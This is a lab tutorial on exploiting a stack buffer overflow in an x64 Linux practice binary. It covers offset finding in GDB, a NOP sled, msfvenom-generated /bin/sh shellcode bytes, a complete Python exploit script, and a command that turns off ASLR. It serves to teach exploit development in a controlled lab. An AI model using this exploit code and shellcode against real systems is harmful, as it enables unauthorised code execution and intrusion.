# Stack Buffer Overflow on x64 Linux

> Exploit stack buffer overflows on 64-bit Linux systems, understanding the differences from x86 including register usage and address handling.

- Published: 2025-09-11
- Difficulty: intermediate
- Series: Linux Exploitation Fundamentals
- Tags: Linux, Exploit Development, Stack Overflow, x64, Shellcode
- Source: https://stevenfoerster.com/tutorials/stack-buffer-overflow-x64/

## Prerequisites

- Understanding of x64 assembly and calling conventions
- Familiarity with GDB-PEDA
- Previous experience with x86 exploitation
- Basic Python scripting

Exploiting buffer overflows on x64 systems introduces new challenges compared to x86. This tutorial covers the key differences and walks through a complete exploit.

> [!note] Lab Setup
> This tutorial uses the `vulnerable` binary from the [Linux Exploitation Lab](https://gitlab.com/sfoerster/linux-tutorial-tools/) (`03-overflow-x64/`). See the [setup guide](https://stevenfoerster.com/tutorials/linux-exploitation-lab-setup/) for build instructions.
>
> - **msfvenom**: Part of the Metasploit Framework. Install from the [official nightly installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html).
> - **Disable ASLR**: `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` (re-enable with value 2 when done)

## Key Differences from x86

### Register Changes

| x86 | x64 | Purpose             |
| --- | --- | ------------------- |
| EIP | RIP | Instruction pointer |
| ESP | RSP | Stack pointer       |
| EBP | RBP | Base pointer        |

### Calling Convention

On x64, the first six arguments are passed in registers:

- `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`

Only subsequent arguments go on the stack.

### Address Size

Addresses are 8 bytes, but typically only 6 bytes are used (canonical addresses). This affects how we overwrite RIP.

## Initial Analysis

### Security Check

```bash
checksec --file=./vulnerable
```

```text
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX disabled   No PIE
```

No NX means we can execute shellcode on the stack.

### Finding the Crash

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*100)" | ./vulnerable
# Normal execution

python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)" | ./vulnerable
# Segmentation fault (core dumped)
```

## Finding the RIP Offset

### Pattern Generation

```text
gdb -q ./vulnerable
gdb-peda$ pattern create 200 input.txt
gdb-peda$ run < input.txt
```

### Analyzing the Crash

```text
RBP: 0x4141724141554141 ('AAUAArAA')
RSP: 0x7fffffffe498 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x4005fa (<vulnerable+68>: ret)
```

Note: RIP wasn't directly overwritten with pattern bytes. Instead, `ret` tried to pop an invalid address.

The CPU doesn't fault when writing the overflowed data to the stack. The crash happens later, when the `ret` instruction pops a non-canonical address into RIP. This means the overflow itself succeeds silently -- you won't see the invalid address in RIP at the crash point because the CPU faulted before loading it.

### Calculating Offset from RBP

Since RIP is one stack position (8 bytes) above RBP:

```text
gdb-peda$ pattern offset 0x4141724141554141
4702165110546055489 found at offset: 160
```

RIP offset = 160 + 8 = **168 bytes**

On x64, the saved RBP is 8 bytes and sits between your buffer and the saved return address (RIP). So if your buffer ends N bytes from the saved RBP, the offset to RIP is N + 8 (for the saved RBP).

### Verifying with Test Payload

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*160 + b'B'*8 + b'C'*6 + b'\x00'*2)" > rip.txt
```

```text
gdb-peda$ run < rip.txt

RBP: 0x4242424242424242 ('BBBBBBBB')
RIP: 0x434343434343 ('CCCCCC')
```

Note: The payload supplies only 6 significant bytes of 'C' followed by two null bytes, so RIP loads the full canonical value `0x0000434343434343`. x86-64 either loads a full canonical 8-byte RIP or faults before loading it at all; there is no 6-byte truncation. Eight bytes of 'C' would form a non-canonical address, and per the earlier note, `ret` would fault before RIP is ever updated, so RIP would still show the original `ret` address, not the corrupted value.

### Address Considerations

Check the memory map:

```text
gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      ./vulnerable
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp      libc
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]
```

Stack addresses are 6 bytes (start with `0x00007fff`). We only need 6 bytes to overwrite RIP.

### x64 Stack Layout

The x64 stack frame for the vulnerable function looks like this. Note the 8-byte register widths compared to x86's 4-byte widths:

```text
High addresses
┌──────────────────────────────┐
│ return address (8 bytes)     │ RBP+0x08
├──────────────────────────────┤
│ saved RBP (8 bytes)          │ RBP
├──────────────────────────────┤
│                              │
│ local buffer[160]            │
│ (overflow starts here,       │
│  writes toward high addrs)   │
│                              │
├──────────────────────────────┤
RSP → (top of stack)
Low addresses
```

After the overflow, the payload overwrites the saved RBP and return address:

```text
High addresses
┌──────────────────────────────┐
│ 0x00007fffffffe428           │ RBP+0x08
│ (points into NOP sled)       │  ← RIP
├──────────────────────────────┤
│ 0x4242424242424242           │ RBP
│ (overwritten saved RBP)      │
├──────────────────────────────┤
│ AAAAAAA... padding           │
├──────────────────────────────┤
│ shellcode (encoded)          │
├──────────────────────────────┤
│ NOP sled: 0x909090... (40B)  │
├──────────────────────────────┤
RSP → (top of stack)
Low addresses
```

The offset from the buffer start to saved RBP is 160 bytes. The saved RBP is 8 bytes, so the total offset to the return address is 168 bytes.

## Building the Exploit

### Skeleton with INT3

```python
import sys
from struct import pack

buf = b"\xcc"*8  # INT3 breakpoints

payload = b"\x90"*40  # NOP sled
payload += buf
payload += b"A"*(128-len(buf))  # Padding (168 - 40 = 128)
payload += pack("<Q", 0x7fffffffe4a0)  # Return to stack

sys.stdout.buffer.write(payload)
```

### Finding the Exact Stack Address

After crashing, examine RSP:

```text
gdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x9090909090909090      0x9090909090909090
0x7fffffffe430: 0x9090909090909090      0x9090909090909090
0x7fffffffe440: 0x9090909090909090      0xfffae98148c93148
```

NOPs start at `0x7fffffffe420`. Add 8 for safety: `0x7fffffffe428`

### Generating Shellcode

```bash
msfvenom -p linux/x64/exec cmd=/bin/sh -f python -b "\x00\x0a"
```

The `-b` flag specifies bad characters -- bytes that would break the exploit if present in the shellcode. Common bad characters include `\x00` (null, terminates strings), `\x0a` (newline), and `\x0d` (carriage return). msfvenom encodes the shellcode to avoid these bytes.

```python
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"
```

### Complete Exploit

```python
#!/usr/bin/env python3
import sys
from struct import pack

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xa5\x8d\x9f\xff\x13\xce\xa9"
buf += b"\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xed\x35\xb0\x9d\x7a\xa0\x86\xa6\xcd\x8d\x06\xaf\x47"
buf += b"\x91\xfb\xb3\xcd\xa0\xfc\xab\x4d\x9c\x41\xdd\xa5\x8d"
buf += b"\x9f\xd0\x71\xa7\xc7\xfa\xd6\xe5\x9f\xa9\x44\x9a\xf7"
buf += b"\xbf\x9e\xd5\x90\xfa\x13\xce\xa9\xd5"

payload = b"\x90"*40           # NOP sled
payload += buf                  # Shellcode
payload += b"A"*(128-len(buf))  # Padding
payload += pack("<Q", 0x7fffffffe428)  # Return address

sys.stdout.buffer.write(payload)
```

Save the exploit output to a file: `python3 exploit.py > exploit.txt`

## Exploiting Outside GDB

Stack addresses differ outside the debugger due to environment variables.

### Generate Core Dump

```bash
rm core
ulimit -c unlimited
cat exploit.txt | ./vulnerable
```

### Analyze Core

```bash
gdb -q ./vulnerable ./core
```

```text
gdb-peda$ x/40gx $rsp-0x100
0x7fffffffe420: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffe430: 0x0000000000000001      0x00000000004005f8
0x7fffffffe440: 0x9090909090909090      0x9090909090909090
```

NOPs are now at `0x7fffffffe440`. Update the return address.

### Final Exploit

```python
payload += pack("<Q", 0x7fffffffe448)  # Adjusted address
```

```bash
(cat exploit.txt; cat) | ./vulnerable
id
uid=1000(user) gid=1000(user) groups=1000(user)
```

## Using struct.pack for x64

For 64-bit values, use the `Q` format specifier:

```python
from struct import pack

# 64-bit little-endian
addr = pack("<Q", 0x7fffffffe428)

# Compare to 32-bit
# addr = pack("<L", 0xbffff2c0)  # x86
```

## Debugging Tips

### Examining Memory

```text
gdb-peda$ x/40gx $rsp-0x100   # 8-byte (giant) words
gdb-peda$ x/40wx $rsp-0x100   # 4-byte words (x86 style)
```

### Checking Registers

```text
gdb-peda$ info registers
```

### Setting Breakpoints on Instructions

```text
gdb-peda$ break *vulnerable+68   # Break at ret instruction
```

## Common Issues

### 6-byte vs 8-byte Addresses

Stack addresses only use 6 bytes. When packing with `<Q`, the upper 2 bytes will be null. This works because:

- Null bytes terminate the overwrite cleanly
- The return address is at the end of our payload

### Stack Alignment

x64 requires 16-byte stack alignment for some operations. If your exploit crashes in library functions, check alignment.

### Canonical Addresses

On x64, only the lower 48 bits of an address are used. The CPU requires bits 48-63 to be copies of bit 47 (sign extension). Addresses that violate this rule -- like `0x4141414141414141` -- trigger a General Protection Fault before the CPU even attempts to access memory. This is why you can't simply overwrite RIP with arbitrary values as you can on x86.

Valid user-space addresses must have bits 48-63 equal to bit 47. Addresses like `0x00007fffffffe428` are valid; `0x0000ffffffffffff` is not.